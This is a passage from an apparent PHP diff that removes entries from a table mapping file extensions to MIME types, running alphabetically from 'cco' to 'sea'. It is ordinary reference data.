- 'cco' => 'application/x-cocoa', - 'cct' => 'application/x-director', - 'ccxml' => 'application/ccxml+xml', - 'cdbcmsg' => 'application/vnd.contact.cmsg', - 'cdf' => 'application/x-netcdf', - 'cdfx' => 'application/cdfx+xml', - 'cdkey' => 'application/vnd.mediastation.cdkey', - 'cdmia' => 'application/cdmi-capability', - 'cdmic' => 'application/cdmi-container', - 'cdmid' => 'application/cdmi-domain', - 'cdmio' => 'application/cdmi-object', - 'cdmiq' => 'application/cdmi-queue', - 'cdr' => 'application/cdr', - 'cdx' => 'chemical/x-cdx', - 'cdxml' => 'application/vnd.chemdraw+xml', - 'cdy' => 'application/vnd.cinderella', - 'cer' => 'application/pkix-cert', - 'cfs' => 'application/x-cfs-compressed', - 'cgm' => 'image/cgm', - 'chat' => 'application/x-chat', - 'chm' => 'application/vnd.ms-htmlhelp', - 'chrt' => 'application/vnd.kde.kchart', - 'cif' => 'chemical/x-cif', - 'cii' => 'application/vnd.anser-web-certificate-issue-initiation', - 'cil' => 'application/vnd.ms-artgalry', - 'cjs' => 'application/node', - 'cla' => 'application/vnd.claymore', - 'class' => 'application/octet-stream', - 'clkk' => 'application/vnd.crick.clicker.keyboard', - 'clkp' => 'application/vnd.crick.clicker.palette', - 'clkt' => 'application/vnd.crick.clicker.template', - 'clkw' => 'application/vnd.crick.clicker.wordbank', - 'clkx' => 'application/vnd.crick.clicker', - 'clp' => 'application/x-msclip', - 'cmc' => 'application/vnd.cosmocaller', - 'cmdf' => 'chemical/x-cmdf', - 'cml' => 'chemical/x-cml', - 'cmp' => 'application/vnd.yellowriver-custom-menu', - 'cmx' => 'image/x-cmx', - 'cod' => 'application/vnd.rim.cod', - 'coffee' => 'text/coffeescript', - 'com' => 'application/x-msdownload', - 'conf' => 'text/plain', - 'cpio' => 'application/x-cpio', - 'cpp' => 'text/x-c', - 'cpt' => 'application/mac-compactpro', - 'crd' => 'application/x-mscardfile', - 'crl' => 'application/pkix-crl', - 'crt' => 'application/x-x509-ca-cert', - 'crx' => 'application/x-chrome-extension', - 'cryptonote' => 'application/vnd.rig.cryptonote', - 'csh' => 'application/x-csh', - 'csl' => 'application/vnd.citationstyles.style+xml', - 'csml' => 'chemical/x-csml', - 'csp' => 'application/vnd.commonspace', - 'csr' => 'application/octet-stream', - 'css' => 'text/css', - 'cst' => 'application/x-director', - 'csv' => 'text/csv', - 'cu' => 'application/cu-seeme', - 'curl' => 'text/vnd.curl', - 'cww' => 'application/prs.cww', - 'cxt' => 'application/x-director', - 'cxx' => 'text/x-c', - 'dae' => 'model/vnd.collada+xml', - 'daf' => 'application/vnd.mobius.daf', - 'dart' => 'application/vnd.dart', - 'dataless' => 'application/vnd.fdsn.seed', - 'davmount' => 'application/davmount+xml', - 'dbf' => 'application/vnd.dbf', - 'dbk' => 'application/docbook+xml', - 'dcr' => 'application/x-director', - 'dcurl' => 'text/vnd.curl.dcurl', - 'dd2' => 'application/vnd.oma.dd2+xml', - 'ddd' => 'application/vnd.fujixerox.ddd', - 'ddf' => 'application/vnd.syncml.dmddf+xml', - 'dds' => 'image/vnd.ms-dds', - 'deb' => 'application/x-debian-package', - 'def' => 'text/plain', - 'deploy' => 'application/octet-stream', - 'der' => 'application/x-x509-ca-cert', - 'dfac' => 'application/vnd.dreamfactory', - 'dgc' => 'application/x-dgc-compressed', - 'dic' => 'text/x-c', - 'dir' => 'application/x-director', - 'dis' => 'application/vnd.mobius.dis', - 'disposition-notification' => 'message/disposition-notification', - 'dist' => 'application/octet-stream', - 'distz' => 'application/octet-stream', - 'djv' => 'image/vnd.djvu', - 'djvu' => 'image/vnd.djvu', - 'dll' => 'application/octet-stream', - 'dmg' => 'application/x-apple-diskimage', - 'dmn' => 'application/octet-stream', - 'dmp' => 'application/vnd.tcpdump.pcap', - 'dms' => 'application/octet-stream', - 'dna' => 'application/vnd.dna', - 'doc' => 'application/msword', - 'docm' => 'application/vnd.ms-word.template.macroEnabled.12', - 'docx' => 'application/vnd.openxmlformats-officedocument.wordprocessingml.document', - 'dot' => 'application/msword', - 'dotm' => 'application/vnd.ms-word.template.macroEnabled.12', - 'dotx' => 'application/vnd.openxmlformats-officedocument.wordprocessingml.template', - 'dp' => 'application/vnd.osgi.dp', - 'dpg' => 'application/vnd.dpgraph', - 'dra' => 'audio/vnd.dra', - 'drle' => 'image/dicom-rle', - 'dsc' => 'text/prs.lines.tag', - 'dssc' => 'application/dssc+der', - 'dtb' => 'application/x-dtbook+xml', - 'dtd' => 'application/xml-dtd', - 'dts' => 'audio/vnd.dts', - 'dtshd' => 'audio/vnd.dts.hd', - 'dump' => 'application/octet-stream', - 'dvb' => 'video/vnd.dvb.file', - 'dvi' => 'application/x-dvi', - 'dwd' => 'application/atsc-dwd+xml', - 'dwf' => 'model/vnd.dwf', - 'dwg' => 'image/vnd.dwg', - 'dxf' => 'image/vnd.dxf', - 'dxp' => 'application/vnd.spotfire.dxp', - 'dxr' => 'application/x-director', - 'ear' => 'application/java-archive', - 'ecelp4800' => 'audio/vnd.nuera.ecelp4800', - 'ecelp7470' => 'audio/vnd.nuera.ecelp7470', - 'ecelp9600' => 'audio/vnd.nuera.ecelp9600', - 'ecma' => 'application/ecmascript', - 'edm' => 'application/vnd.novadigm.edm', - 'edx' => 'application/vnd.novadigm.edx', - 'efif' => 'application/vnd.picsel', - 'ei6' => 'application/vnd.pg.osasli', - 'elc' => 'application/octet-stream', - 'emf' => 'image/emf', - 'eml' => 'message/rfc822', - 'emma' => 'application/emma+xml', - 'emotionml' => 'application/emotionml+xml', - 'emz' => 'application/x-msmetafile', - 'eol' => 'audio/vnd.digital-winds', - 'eot' => 'application/vnd.ms-fontobject', - 'eps' => 'application/postscript', - 'epub' => 'application/epub+zip', - 'es' => 'application/ecmascript', - 'es3' => 'application/vnd.eszigno3+xml', - 'esa' => 'application/vnd.osgi.subsystem', - 'esf' => 'application/vnd.epson.esf', - 'et3' => 'application/vnd.eszigno3+xml', - 'etx' => 'text/x-setext', - 'eva' => 'application/x-eva', - 'evy' => 'application/x-envoy', - 'exe' => 'application/octet-stream', - 'exi' => 'application/exi', - 'exr' => 'image/aces', - 'ext' => 'application/vnd.novadigm.ext', - 'ez' => 'application/andrew-inset', - 'ez2' => 'application/vnd.ezpix-album', - 'ez3' => 'application/vnd.ezpix-package', - 'f' => 'text/x-fortran', - 'f4v' => 'video/mp4', - 'f77' => 'text/x-fortran', - 'f90' => 'text/x-fortran', - 'fbs' => 'image/vnd.fastbidsheet', - 'fcdt' => 'application/vnd.adobe.formscentral.fcdt', - 'fcs' => 'application/vnd.isac.fcs', - 'fdf' => 'application/vnd.fdf', - 'fdt' => 'application/fdt+xml', - 'fe_launch' => 'application/vnd.denovo.fcselayout-link', - 'fg5' => 'application/vnd.fujitsu.oasysgp', - 'fgd' => 'application/x-director', - 'fh' => 'image/x-freehand', - 'fh4' => 'image/x-freehand', - 'fh5' => 'image/x-freehand', - 'fh7' => 'image/x-freehand', - 'fhc' => 'image/x-freehand', - 'fig' => 'application/x-xfig', - 'fits' => 'image/fits', - 'flac' => 'audio/x-flac', - 'fli' => 'video/x-fli', - 'flo' => 'application/vnd.micrografx.flo', - 'flv' => 'video/x-flv', - 'flw' => 'application/vnd.kde.kivio', - 'flx' => 'text/vnd.fmi.flexstor', - 'fly' => 'text/vnd.fly', - 'fm' => 'application/vnd.framemaker', - 'fnc' => 'application/vnd.frogans.fnc', - 'fo' => 'application/vnd.software602.filler.form+xml', - 'for' => 'text/x-fortran', - 'fpx' => 'image/vnd.fpx', - 'frame' => 'application/vnd.framemaker', - 'fsc' => 'application/vnd.fsc.weblaunch', - 'fst' => 'image/vnd.fst', - 'ftc' => 'application/vnd.fluxtime.clip', - 'fti' => 'application/vnd.anser-web-funds-transfer-initiation', - 'fvt' => 'video/vnd.fvt', - 'fxp' => 'application/vnd.adobe.fxp', - 'fxpl' => 'application/vnd.adobe.fxp', - 'fzs' => 'application/vnd.fuzzysheet', - 'g2w' => 'application/vnd.geoplan', - 'g3' => 'image/g3fax', - 'g3w' => 'application/vnd.geospace', - 'gac' => 'application/vnd.groove-account', - 'gam' => 'application/x-tads', - 'gbr' => 'application/rpki-ghostbusters', - 'gca' => 'application/x-gca-compressed', - 'gdl' => 'model/vnd.gdl', - 'gdoc' => 'application/vnd.google-apps.document', - 'geo' => 'application/vnd.dynageo', - 'geojson' => 'application/geo+json', - 'gex' => 'application/vnd.geometry-explorer', - 'ggb' => 'application/vnd.geogebra.file', - 'ggt' => 'application/vnd.geogebra.tool', - 'ghf' => 'application/vnd.groove-help', - 'gif' => 'image/gif', - 'gim' => 'application/vnd.groove-identity-message', - 'glb' => 'model/gltf-binary', - 'gltf' => 'model/gltf+json', - 'gml' => 'application/gml+xml', - 'gmx' => 'application/vnd.gmx', - 'gnumeric' => 'application/x-gnumeric', - 'gpg' => 'application/gpg-keys', - 'gph' => 'application/vnd.flographit', - 'gpx' => 'application/gpx+xml', - 'gqf' => 'application/vnd.grafeq', - 'gqs' => 'application/vnd.grafeq', - 'gram' => 'application/srgs', - 'gramps' => 'application/x-gramps-xml', - 'gre' => 'application/vnd.geometry-explorer', - 'grv' => 'application/vnd.groove-injector', - 'grxml' => 'application/srgs+xml', - 'gsf' => 'application/x-font-ghostscript', - 'gsheet' => 'application/vnd.google-apps.spreadsheet', - 'gslides' => 'application/vnd.google-apps.presentation', - 'gtar' => 'application/x-gtar', - 'gtm' => 'application/vnd.groove-tool-message', - 'gtw' => 'model/vnd.gtw', - 'gv' => 'text/vnd.graphviz', - 'gxf' => 'application/gxf', - 'gxt' => 'application/vnd.geonext', - 'gz' => 'application/x-gzip', - 'gzip' => 'application/x-gzip', - 'h' => 'text/x-c', - 'h261' => 'video/h261', - 'h263' => 'video/h263', - 'h264' => 'video/h264', - 'hal' => 'application/vnd.hal+xml', - 'hbci' => 'application/vnd.hbci', - 'hbs' => 'text/x-handlebars-template', - 'hdd' => 'application/x-virtualbox-hdd', - 'hdf' => 'application/x-hdf', - 'heic' => 'image/heic', - 'heics' => 'image/heic-sequence', - 'heif' => 'image/heif', - 'heifs' => 'image/heif-sequence', - 'hej2' => 'image/hej2k', - 'held' => 'application/atsc-held+xml', - 'hh' => 'text/x-c', - 'hjson' => 'application/hjson', - 'hlp' => 'application/winhlp', - 'hpgl' => 'application/vnd.hp-hpgl', - 'hpid' => 'application/vnd.hp-hpid', - 'hps' => 'application/vnd.hp-hps', - 'hqx' => 'application/mac-binhex40', - 'hsj2' => 'image/hsj2', - 'htc' => 'text/x-component', - 'htke' => 'application/vnd.kenameaapp', - 'htm' => 'text/html', - 'html' => 'text/html', - 'hvd' => 'application/vnd.yamaha.hv-dic', - 'hvp' => 'application/vnd.yamaha.hv-voice', - 'hvs' => 'application/vnd.yamaha.hv-script', - 'i2g' => 'application/vnd.intergeo', - 'icc' => 'application/vnd.iccprofile', - 'ice' => 'x-conference/x-cooltalk', - 'icm' => 'application/vnd.iccprofile', - 'ico' => 'image/x-icon', - 'ics' => 'text/calendar', - 'ief' => 'image/ief', - 'ifb' => 'text/calendar', - 'ifm' => 'application/vnd.shana.informed.formdata', - 'iges' => 'model/iges', - 'igl' => 'application/vnd.igloader', - 'igm' => 'application/vnd.insors.igm', - 'igs' => 'model/iges', - 'igx' => 'application/vnd.micrografx.igx', - 'iif' => 'application/vnd.shana.informed.interchange', - 'img' => 'application/octet-stream', - 'imp' => 'application/vnd.accpac.simply.imp', - 'ims' => 'application/vnd.ms-ims', - 'in' => 'text/plain', - 'ini' => 'text/plain', - 'ink' => 'application/inkml+xml', - 'inkml' => 'application/inkml+xml', - 'install' => 'application/x-install-instructions', - 'iota' => 'application/vnd.astraea-software.iota', - 'ipfix' => 'application/ipfix', - 'ipk' => 'application/vnd.shana.informed.package', - 'irm' => 'application/vnd.ibm.rights-management', - 'irp' => 'application/vnd.irepository.package+xml', - 'iso' => 'application/x-iso9660-image', - 'itp' => 'application/vnd.shana.informed.formtemplate', - 'its' => 'application/its+xml', - 'ivp' => 'application/vnd.immervision-ivp', - 'ivu' => 'application/vnd.immervision-ivu', - 'jad' => 'text/vnd.sun.j2me.app-descriptor', - 'jade' => 'text/jade', - 'jam' => 'application/vnd.jam', - 'jar' => 'application/java-archive', - 'jardiff' => 'application/x-java-archive-diff', - 'java' => 'text/x-java-source', - 'jhc' => 'image/jphc', - 'jisp' => 'application/vnd.jisp', - 'jls' => 'image/jls', - 'jlt' => 'application/vnd.hp-jlyt', - 'jng' => 'image/x-jng', - 'jnlp' => 'application/x-java-jnlp-file', - 'joda' => 'application/vnd.joost.joda-archive', - 'jp2' => 'image/jp2', - 'jpe' => 'image/jpeg', - 'jpeg' => 'image/jpeg', - 'jpf' => 'image/jpx', - 'jpg' => 'image/jpeg', - 'jpg2' => 'image/jp2', - 'jpgm' => 'video/jpm', - 'jpgv' => 'video/jpeg', - 'jph' => 'image/jph', - 'jpm' => 'video/jpm', - 'jpx' => 'image/jpx', - 'js' => 'application/javascript', - 'json' => 'application/json', - 'json5' => 'application/json5', - 'jsonld' => 'application/ld+json', - 'jsonml' => 'application/jsonml+json', - 'jsx' => 'text/jsx', - 'jxr' => 'image/jxr', - 'jxra' => 'image/jxra', - 'jxrs' => 'image/jxrs', - 'jxs' => 'image/jxs', - 'jxsc' => 'image/jxsc', - 'jxsi' => 'image/jxsi', - 'jxss' => 'image/jxss', - 'kar' => 'audio/midi', - 'karbon' => 'application/vnd.kde.karbon', - 'kdb' => 'application/octet-stream', - 'kdbx' => 'application/x-keepass2', - 'key' => 'application/vnd.apple.keynote', - 'kfo' => 'application/vnd.kde.kformula', - 'kia' => 'application/vnd.kidspiration', - 'kml' => 'application/vnd.google-earth.kml+xml', - 'kmz' => 'application/vnd.google-earth.kmz', - 'kne' => 'application/vnd.kinar', - 'knp' => 'application/vnd.kinar', - 'kon' => 'application/vnd.kde.kontour', - 'kpr' => 'application/vnd.kde.kpresenter', - 'kpt' => 'application/vnd.kde.kpresenter', - 'kpxx' => 'application/vnd.ds-keypoint', - 'ksp' => 'application/vnd.kde.kspread', - 'ktr' => 'application/vnd.kahootz', - 'ktx' => 'image/ktx', - 'ktx2' => 'image/ktx2', - 'ktz' => 'application/vnd.kahootz', - 'kwd' => 'application/vnd.kde.kword', - 'kwt' => 'application/vnd.kde.kword', - 'lasxml' => 'application/vnd.las.las+xml', - 'latex' => 'application/x-latex', - 'lbd' => 'application/vnd.llamagraphics.life-balance.desktop', - 'lbe' => 'application/vnd.llamagraphics.life-balance.exchange+xml', - 'les' => 'application/vnd.hhe.lesson-player', - 'less' => 'text/less', - 'lgr' => 'application/lgr+xml', - 'lha' => 'application/octet-stream', - 'link66' => 'application/vnd.route66.link66+xml', - 'list' => 'text/plain', - 'list3820' => 'application/vnd.ibm.modcap', - 'listafp' => 'application/vnd.ibm.modcap', - 'litcoffee' => 'text/coffeescript', - 'lnk' => 'application/x-ms-shortcut', - 'log' => 'text/plain', - 'lostxml' => 'application/lost+xml', - 'lrf' => 'application/octet-stream', - 'lrm' => 'application/vnd.ms-lrm', - 'ltf' => 'application/vnd.frogans.ltf', - 'lua' => 'text/x-lua', - 'luac' => 'application/x-lua-bytecode', - 'lvp' => 'audio/vnd.lucent.voice', - 'lwp' => 'application/vnd.lotus-wordpro', - 'lzh' => 'application/octet-stream', - 'm1v' => 'video/mpeg', - 'm2a' => 'audio/mpeg', - 'm2v' => 'video/mpeg', - 'm3a' => 'audio/mpeg', - 'm3u' => 'text/plain', - 'm3u8' => 'application/vnd.apple.mpegurl', - 'm4a' => 'audio/x-m4a', - 'm4p' => 'application/mp4', - 'm4u' => 'application/vnd.mpegurl', - 'm4v' => 'video/x-m4v', - 'm13' => 'application/x-msmediaview', - 'm14' => 'application/x-msmediaview', - 'm21' => 'application/mp21', - 'ma' => 'application/mathematica', - 'mads' => 'application/mads+xml', - 'maei' => 'application/mmt-aei+xml', - 'mag' => 'application/vnd.ecowin.chart', - 'maker' => 'application/vnd.framemaker', - 'man' => 'text/troff', - 'manifest' => 'text/cache-manifest', - 'map' => 'application/json', - 'mar' => 'application/octet-stream', - 'markdown' => 'text/markdown', - 'mathml' => 'application/mathml+xml', - 'mb' => 'application/mathematica', - 'mbk' => 'application/vnd.mobius.mbk', - 'mbox' => 'application/mbox', - 'mc1' => 'application/vnd.medcalcdata', - 'mcd' => 'application/vnd.mcd', - 'mcurl' => 'text/vnd.curl.mcurl', - 'md' => 'text/markdown', - 'mdb' => 'application/x-msaccess', - 'mdi' => 'image/vnd.ms-modi', - 'mdx' => 'text/mdx', - 'me' => 'text/troff', - 'mesh' => 'model/mesh', - 'meta4' => 'application/metalink4+xml', - 'metalink' => 'application/metalink+xml', - 'mets' => 'application/mets+xml', - 'mfm' => 'application/vnd.mfmp', - 'mft' => 'application/rpki-manifest', - 'mgp' => 'application/vnd.osgeo.mapguide.package', - 'mgz' => 'application/vnd.proteus.magazine', - 'mid' => 'audio/midi', - 'midi' => 'audio/midi', - 'mie' => 'application/x-mie', - 'mif' => 'application/vnd.mif', - 'mime' => 'message/rfc822', - 'mj2' => 'video/mj2', - 'mjp2' => 'video/mj2', - 'mjs' => 'application/javascript', - 'mk3d' => 'video/x-matroska', - 'mka' => 'audio/x-matroska', - 'mkd' => 'text/x-markdown', - 'mks' => 'video/x-matroska', - 'mkv' => 'video/x-matroska', - 'mlp' => 'application/vnd.dolby.mlp', - 'mmd' => 'application/vnd.chipnuts.karaoke-mmd', - 'mmf' => 'application/vnd.smaf', - 'mml' => 'text/mathml', - 'mmr' => 'image/vnd.fujixerox.edmics-mmr', - 'mng' => 'video/x-mng', - 'mny' => 'application/x-msmoney', - 'mobi' => 'application/x-mobipocket-ebook', - 'mods' => 'application/mods+xml', - 'mov' => 'video/quicktime', - 'movie' => 'video/x-sgi-movie', - 'mp2' => 'audio/mpeg', - 'mp2a' => 'audio/mpeg', - 'mp3' => 'audio/mpeg', - 'mp4' => 'video/mp4', - 'mp4a' => 'audio/mp4', - 'mp4s' => 'application/mp4', - 'mp4v' => 'video/mp4', - 'mp21' => 'application/mp21', - 'mpc' => 'application/vnd.mophun.certificate', - 'mpd' => 'application/dash+xml', - 'mpe' => 'video/mpeg', - 'mpeg' => 'video/mpeg', - 'mpg' => 'video/mpeg', - 'mpg4' => 'video/mp4', - 'mpga' => 'audio/mpeg', - 'mpkg' => 'application/vnd.apple.installer+xml', - 'mpm' => 'application/vnd.blueice.multipass', - 'mpn' => 'application/vnd.mophun.application', - 'mpp' => 'application/vnd.ms-project', - 'mpt' => 'application/vnd.ms-project', - 'mpy' => 'application/vnd.ibm.minipay', - 'mqy' => 'application/vnd.mobius.mqy', - 'mrc' => 'application/marc', - 'mrcx' => 'application/marcxml+xml', - 'ms' => 'text/troff', - 'mscml' => 'application/mediaservercontrol+xml', - 'mseed' => 'application/vnd.fdsn.mseed', - 'mseq' => 'application/vnd.mseq', - 'msf' => 'application/vnd.epson.msf', - 'msg' => 'application/vnd.ms-outlook', - 'msh' => 'model/mesh', - 'msi' => 'application/x-msdownload', - 'msl' => 'application/vnd.mobius.msl', - 'msm' => 'application/octet-stream', - 'msp' => 'application/octet-stream', - 'msty' => 'application/vnd.muvee.style', - 'mtl' => 'model/mtl', - 'mts' => 'model/vnd.mts', - 'mus' => 'application/vnd.musician', - 'musd' => 'application/mmt-usd+xml', - 'musicxml' => 'application/vnd.recordare.musicxml+xml', - 'mvb' => 'application/x-msmediaview', - 'mwf' => 'application/vnd.mfer', - 'mxf' => 'application/mxf', - 'mxl' => 'application/vnd.recordare.musicxml', - 'mxmf' => 'audio/mobile-xmf', - 'mxml' => 'application/xv+xml', - 'mxs' => 'application/vnd.triscape.mxs', - 'mxu' => 'video/vnd.mpegurl', - 'n-gage' => 'application/vnd.nokia.n-gage.symbian.install', - 'n3' => 'text/n3', - 'nb' => 'application/mathematica', - 'nbp' => 'application/vnd.wolfram.player', - 'nc' => 'application/x-netcdf', - 'ncx' => 'application/x-dtbncx+xml', - 'nfo' => 'text/x-nfo', - 'ngdat' => 'application/vnd.nokia.n-gage.data', - 'nitf' => 'application/vnd.nitf', - 'nlu' => 'application/vnd.neurolanguage.nlu', - 'nml' => 'application/vnd.enliven', - 'nnd' => 'application/vnd.noblenet-directory', - 'nns' => 'application/vnd.noblenet-sealer', - 'nnw' => 'application/vnd.noblenet-web', - 'npx' => 'image/vnd.net-fpx', - 'nq' => 'application/n-quads', - 'nsc' => 'application/x-conference', - 'nsf' => 'application/vnd.lotus-notes', - 'nt' => 'application/n-triples', - 'ntf' => 'application/vnd.nitf', - 'numbers' => 'application/vnd.apple.numbers', - 'nzb' => 'application/x-nzb', - 'oa2' => 'application/vnd.fujitsu.oasys2', - 'oa3' => 'application/vnd.fujitsu.oasys3', - 'oas' => 'application/vnd.fujitsu.oasys', - 'obd' => 'application/x-msbinder', - 'obgx' => 'application/vnd.openblox.game+xml', - 'obj' => 'model/obj', - 'oda' => 'application/oda', - 'odb' => 'application/vnd.oasis.opendocument.database', - 'odc' => 'application/vnd.oasis.opendocument.chart', - 'odf' => 'application/vnd.oasis.opendocument.formula', - 'odft' => 'application/vnd.oasis.opendocument.formula-template', - 'odg' => 'application/vnd.oasis.opendocument.graphics', - 'odi' => 'application/vnd.oasis.opendocument.image', - 'odm' => 'application/vnd.oasis.opendocument.text-master', - 'odp' => 'application/vnd.oasis.opendocument.presentation', - 'ods' => 'application/vnd.oasis.opendocument.spreadsheet', - 'odt' => 'application/vnd.oasis.opendocument.text', - 'oga' => 'audio/ogg', - 'ogex' => 'model/vnd.opengex', - 'ogg' => 'audio/ogg', - 'ogv' => 'video/ogg', - 'ogx' => 'application/ogg', - 'omdoc' => 'application/omdoc+xml', - 'onepkg' => 'application/onenote', - 'onetmp' => 'application/onenote', - 'onetoc' => 'application/onenote', - 'onetoc2' => 'application/onenote', - 'opf' => 'application/oebps-package+xml', - 'opml' => 'text/x-opml', - 'oprc' => 'application/vnd.palm', - 'org' => 'text/x-org', - 'osf' => 'application/vnd.yamaha.openscoreformat', - 'osfpvg' => 'application/vnd.yamaha.openscoreformat.osfpvg+xml', - 'osm' => 'application/vnd.openstreetmap.data+xml', - 'otc' => 'application/vnd.oasis.opendocument.chart-template', - 'otf' => 'font/otf', - 'otg' => 'application/vnd.oasis.opendocument.graphics-template', - 'oth' => 'application/vnd.oasis.opendocument.text-web', - 'oti' => 'application/vnd.oasis.opendocument.image-template', - 'otp' => 'application/vnd.oasis.opendocument.presentation-template', - 'ots' => 'application/vnd.oasis.opendocument.spreadsheet-template', - 'ott' => 'application/vnd.oasis.opendocument.text-template', - 'ova' => 'application/x-virtualbox-ova', - 'ovf' => 'application/x-virtualbox-ovf', - 'owl' => 'application/rdf+xml', - 'oxps' => 'application/oxps', - 'oxt' => 'application/vnd.openofficeorg.extension', - 'p' => 'text/x-pascal', - 'p7a' => 'application/x-pkcs7-signature', - 'p7b' => 'application/x-pkcs7-certificates', - 'p7c' => 'application/pkcs7-mime', - 'p7m' => 'application/pkcs7-mime', - 'p7r' => 'application/x-pkcs7-certreqresp', - 'p7s' => 'application/pkcs7-signature', - 'p8' => 'application/pkcs8', - 'p10' => 'application/x-pkcs10', - 'p12' => 'application/x-pkcs12', - 'pac' => 'application/x-ns-proxy-autoconfig', - 'pages' => 'application/vnd.apple.pages', - 'pas' => 'text/x-pascal', - 'paw' => 'application/vnd.pawaafile', - 'pbd' => 'application/vnd.powerbuilder6', - 'pbm' => 'image/x-portable-bitmap', - 'pcap' => 'application/vnd.tcpdump.pcap', - 'pcf' => 'application/x-font-pcf', - 'pcl' => 'application/vnd.hp-pcl', - 'pclxl' => 'application/vnd.hp-pclxl', - 'pct' => 'image/x-pict', - 'pcurl' => 'application/vnd.curl.pcurl', - 'pcx' => 'image/x-pcx', - 'pdb' => 'application/x-pilot', - 'pde' => 'text/x-processing', - 'pdf' => 'application/pdf', - 'pem' => 'application/x-x509-user-cert', - 'pfa' => 'application/x-font-type1', - 'pfb' => 'application/x-font-type1', - 'pfm' => 'application/x-font-type1', - 'pfr' => 'application/font-tdpfr', - 'pfx' => 'application/x-pkcs12', - 'pgm' => 'image/x-portable-graymap', - 'pgn' => 'application/x-chess-pgn', - 'pgp' => 'application/pgp', - 'php' => 'application/x-httpd-php', - 'php3' => 'application/x-httpd-php', - 'php4' => 'application/x-httpd-php', - 'phps' => 'application/x-httpd-php-source', - 'phtml' => 'application/x-httpd-php', - 'pic' => 'image/x-pict', - 'pkg' => 'application/octet-stream', - 'pki' => 'application/pkixcmp', - 'pkipath' => 'application/pkix-pkipath', - 'pkpass' => 'application/vnd.apple.pkpass', - 'pl' => 'application/x-perl', - 'plb' => 'application/vnd.3gpp.pic-bw-large', - 'plc' => 'application/vnd.mobius.plc', - 'plf' => 'application/vnd.pocketlearn', - 'pls' => 'application/pls+xml', - 'pm' => 'application/x-perl', - 'pml' => 'application/vnd.ctc-posml', - 'png' => 'image/png', - 'pnm' => 'image/x-portable-anymap', - 'portpkg' => 'application/vnd.macports.portpkg', - 'pot' => 'application/vnd.ms-powerpoint', - 'potm' => 'application/vnd.ms-powerpoint.presentation.macroEnabled.12', - 'potx' => 'application/vnd.openxmlformats-officedocument.presentationml.template', - 'ppa' => 'application/vnd.ms-powerpoint', - 'ppam' => 'application/vnd.ms-powerpoint.addin.macroEnabled.12', - 'ppd' => 'application/vnd.cups-ppd', - 'ppm' => 'image/x-portable-pixmap', - 'pps' => 'application/vnd.ms-powerpoint', - 'ppsm' => 'application/vnd.ms-powerpoint.slideshow.macroEnabled.12', - 'ppsx' => 'application/vnd.openxmlformats-officedocument.presentationml.slideshow', - 'ppt' => 'application/powerpoint', - 'pptm' => 'application/vnd.ms-powerpoint.presentation.macroEnabled.12', - 'pptx' => 'application/vnd.openxmlformats-officedocument.presentationml.presentation', - 'pqa' => 'application/vnd.palm', - 'prc' => 'application/x-pilot', - 'pre' => 'application/vnd.lotus-freelance', - 'prf' => 'application/pics-rules', - 'provx' => 'application/provenance+xml', - 'ps' => 'application/postscript', - 'psb' => 'application/vnd.3gpp.pic-bw-small', - 'psd' => 'application/x-photoshop', - 'psf' => 'application/x-font-linux-psf', - 'pskcxml' => 'application/pskc+xml', - 'pti' => 'image/prs.pti', - 'ptid' => 'application/vnd.pvi.ptid1', - 'pub' => 'application/x-mspublisher', - 'pvb' => 'application/vnd.3gpp.pic-bw-var', - 'pwn' => 'application/vnd.3m.post-it-notes', - 'pya' => 'audio/vnd.ms-playready.media.pya', - 'pyv' => 'video/vnd.ms-playready.media.pyv', - 'qam' => 'application/vnd.epson.quickanime', - 'qbo' => 'application/vnd.intu.qbo', - 'qfx' => 'application/vnd.intu.qfx', - 'qps' => 'application/vnd.publishare-delta-tree', - 'qt' => 'video/quicktime', - 'qwd' => 'application/vnd.quark.quarkxpress', - 'qwt' => 'application/vnd.quark.quarkxpress', - 'qxb' => 'application/vnd.quark.quarkxpress', - 'qxd' => 'application/vnd.quark.quarkxpress', - 'qxl' => 'application/vnd.quark.quarkxpress', - 'qxt' => 'application/vnd.quark.quarkxpress', - 'ra' => 'audio/x-realaudio', - 'ram' => 'audio/x-pn-realaudio', - 'raml' => 'application/raml+yaml', - 'rapd' => 'application/route-apd+xml', - 'rar' => 'application/x-rar', - 'ras' => 'image/x-cmu-raster', - 'rcprofile' => 'application/vnd.ipunplugged.rcprofile', - 'rdf' => 'application/rdf+xml', - 'rdz' => 'application/vnd.data-vision.rdz', - 'relo' => 'application/p2p-overlay+xml', - 'rep' => 'application/vnd.businessobjects', - 'res' => 'application/x-dtbresource+xml', - 'rgb' => 'image/x-rgb', - 'rif' => 'application/reginfo+xml', - 'rip' => 'audio/vnd.rip', - 'ris' => 'application/x-research-info-systems', - 'rl' => 'application/resource-lists+xml', - 'rlc' => 'image/vnd.fujixerox.edmics-rlc', - 'rld' => 'application/resource-lists-diff+xml', - 'rm' => 'audio/x-pn-realaudio', - 'rmi' => 'audio/midi', - 'rmp' => 'audio/x-pn-realaudio-plugin', - 'rms' => 'application/vnd.jcp.javame.midlet-rms', - 'rmvb' => 'application/vnd.rn-realmedia-vbr', - 'rnc' => 'application/relax-ng-compact-syntax', - 'rng' => 'application/xml', - 'roa' => 'application/rpki-roa', - 'roff' => 'text/troff', - 'rp9' => 'application/vnd.cloanto.rp9', - 'rpm' => 'audio/x-pn-realaudio-plugin', - 'rpss' => 'application/vnd.nokia.radio-presets', - 'rpst' => 'application/vnd.nokia.radio-preset', - 'rq' => 'application/sparql-query', - 'rs' => 'application/rls-services+xml', - 'rsa' => 'application/x-pkcs7', - 'rsat' => 'application/atsc-rsat+xml', - 'rsd' => 'application/rsd+xml', - 'rsheet' => 'application/urc-ressheet+xml', - 'rss' => 'application/rss+xml', - 'rtf' => 'text/rtf', - 'rtx' => 'text/richtext', - 'run' => 'application/x-makeself', - 'rusd' => 'application/route-usd+xml', - 'rv' => 'video/vnd.rn-realvideo', - 's' => 'text/x-asm', - 's3m' => 'audio/s3m', - 'saf' => 'application/vnd.yamaha.smaf-audio', - 'sass' => 'text/x-sass', - 'sbml' => 'application/sbml+xml', - 'sc' => 'application/vnd.ibm.secure-container', - 'scd' => 'application/x-msschedule', - 'scm' => 'application/vnd.lotus-screencam', - 'scq' => 'application/scvp-cv-request', - 'scs' => 'application/scvp-cv-response', - 'scss' => 'text/x-scss', - 'scurl' => 'text/vnd.curl.scurl', - 'sda' => 'application/vnd.stardivision.draw', - 'sdc' => 'application/vnd.stardivision.calc', - 'sdd' => 'application/vnd.stardivision.impress', - 'sdkd' => 'application/vnd.solent.sdkm+xml', - 'sdkm' => 'application/vnd.solent.sdkm+xml', - 'sdp' => 'application/sdp', - 'sdw' => 'application/vnd.stardivision.writer', - 'sea' => 